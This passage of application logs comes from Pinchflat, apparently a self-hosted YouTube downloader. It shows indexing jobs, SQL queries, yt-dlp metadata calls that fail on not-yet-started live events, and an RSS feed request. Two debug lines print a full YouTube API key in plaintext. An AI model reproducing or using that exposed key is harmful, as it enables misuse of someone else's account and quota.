(?1,?2,?3,?4) RETURNING "id" [3800281, 25, ~U[2026-02-10 23:46:44Z], ~U[2026-02-10 23:46:44Z]] 17:46:44.255 [info] {"args":{"id":25},"id":3800242,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":167153,"event":"job:stop","queue_time":528334,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:44.392 [debug] QUERY OK source="media_items" db=0.7ms idle=137.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 17:46:44.395 [debug] QUERY OK source="media_items" db=2.3ms idle=138.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 17:46:44.396 [debug] QUERY OK source="tasks" db=0.1ms idle=135.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800282, 7, ~U[2026-02-10 23:46:44Z], ~U[2026-02-10 23:46:44Z]] 17:46:44.397 [info] {"args":{"id":7},"id":3800243,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":309167,"event":"job:stop","queue_time":422440,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:45.088 [info] {"args":{"id":20},"id":3800244,"meta":{},"system_time":1770767205088843361,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:45.089 [debug] QUERY OK source="sources" db=0.1ms idle=692.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 17:46:45.089 [debug] QUERY OK source="settings" db=0.1ms idle=692.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:45.089 [debug] QUERY OK source="media_profiles" db=0.0ms idle=685.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:45.089 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:45.089 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 17:46:45.089 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:45.089 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:45.217 [debug] QUERY OK source="media_items" db=0.5ms idle=127.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 17:46:45.218 [debug] QUERY OK source="media_items" db=0.3ms idle=128.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 17:46:45.218 [debug] QUERY OK source="tasks" db=0.1ms idle=128.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800283, 20, ~U[2026-02-10 23:46:45Z], ~U[2026-02-10 23:46:45Z]] 17:46:45.219 [info] {"args":{"id":20},"id":3800244,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130048,"event":"job:stop","queue_time":483948,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:52.095 [info] {"args":{"id":19},"id":3800245,"meta":{},"system_time":1770767212095810589,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:52.096 [debug] QUERY OK source="sources" db=0.1ms idle=1217.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 17:46:52.096 [debug] QUERY OK source="settings" db=0.1ms idle=1217.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:52.096 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:52.096 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:52.096 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 17:46:52.096 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:52.096 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:52.268 [debug] QUERY OK source="media_items" db=0.4ms idle=172.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 17:46:52.269 [debug] QUERY OK source="settings" db=0.0ms idle=172.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:52.269 [debug] QUERY OK source="settings" db=0.0ms idle=172.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:52.269 [debug] Running yt-dlp command for action: get_media_attributes 17:46:52.296 [debug] QUERY OK source="settings" db=0.0ms idle=199.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:52.296 [debug] QUERY OK source="settings" db=0.0ms idle=199.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:52.296 [debug] QUERY OK source="settings" db=0.0ms idle=27.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:52.296 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a0/0e/a00e632b49be81220c43c395f483a70458583d29127d21fc4a192faf5dc29f0f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:46:53.444 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a0/0e/a00e632b49be81220c43c395f483a70458583d29127d21fc4a192faf5dc29f0f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 17:46:53.445 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 17:46:53.445 [debug] QUERY OK source="settings" db=0.1ms idle=1175.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:53.445 [debug] QUERY OK source="settings" db=0.0ms idle=1149.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:53.445 [debug] Running yt-dlp command for action: get_media_attributes 17:46:53.447 [debug] QUERY OK source="settings" db=0.0ms idle=1150.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:53.447 [debug] QUERY OK source="settings" db=0.0ms idle=1150.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:53.447 [debug] QUERY OK source="settings" db=0.0ms idle=356.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:53.447 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/bd/88/bd884d2bcb06f0a00d273af582660874f751cb1d2e2e7a95aff6c8a3e5e13d48.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:46:55.308 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/bd/88/bd884d2bcb06f0a00d273af582660874f751cb1d2e2e7a95aff6c8a3e5e13d48.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 17:46:55.309 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 17:46:55.309 [debug] QUERY OK source="media_items" db=0.4ms idle=430.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 17:46:55.310 [debug] QUERY OK source="tasks" db=0.1ms idle=432.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800284, 19, ~U[2026-02-10 23:46:55Z], ~U[2026-02-10 23:46:55Z]] 17:46:55.310 [info] {"args":{"id":19},"id":3800245,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":3214781,"event":"job:stop","queue_time":953331,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:58.527 [info] GET /sources/03326ffe-bc9f-49e9-b871-f1a05c201b77/feed.xml 17:46:58.527 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "03326ffe-bc9f-49e9-b871-f1a05c201b77"} Pipelines: [:maybe_basic_auth] 17:46:58.527 [debug] QUERY OK source="sources" db=0.1ms idle=1649.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["03326ffe-bc9f-49e9-b871-f1a05c201b77"] 17:46:58.528 [debug] QUERY OK source="media_items" db=0.4ms idle=1649.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [20, 2000] 17:46:58.528 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1650.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [20] 17:46:58.528 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1433.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564176] 17:46:58.528 [info] Sent 200 in 1ms 17:46:59.808 [info] {"source":"oban","duration":10311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.098 [info] {"source":"oban","duration":141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:47:09.114 [info] 